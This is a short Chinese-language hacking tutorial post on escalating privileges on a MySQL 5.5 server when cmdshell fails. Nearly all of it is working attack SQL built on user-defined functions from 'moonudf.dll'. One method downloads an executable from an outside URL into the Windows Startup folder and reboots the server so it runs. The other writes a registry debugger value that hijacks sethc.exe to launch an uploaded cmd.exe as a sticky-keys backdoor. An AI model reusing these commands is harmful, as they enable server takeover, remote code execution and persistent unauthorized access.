MYSQL5.5 当CMDshell无法执行的时候提权解决方法

MYSQL5.5如果没有LIB目录权限允许的情况下,可以新建,在此帖子中可以正常导出DLL,



但是执行CMDSHELL的时候,执行出错,我们在这里有两个方法可以考虑

1、利用downloader函数,下载一个木马或者脚本到启动项

Create Function downloader returns string soname 'moonudf.dll';

select downloader("http://www.admin163.net/xx.exe","C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.exe");


然后利用SHUT函数重启服务器


create function shut returns string soname 'moonudf.dll'

select shut(‘reboot’);



2、利用 regwrite和 regread函数劫持Sethc.exe


Create Function regread returns string soname 'moonudf.dll';

 

Select regread("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe","debugger")


 

可以看到已经被劫持了,我们重新写入注册表,首先上传我们的CMD.EXE


利用regwrite写入


Create Function regwrite returns string soname 'moonudf.dll';

select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe","debugger","REG_SZ","C:\tmp\cmd.exe");


登陆服务器


评论回复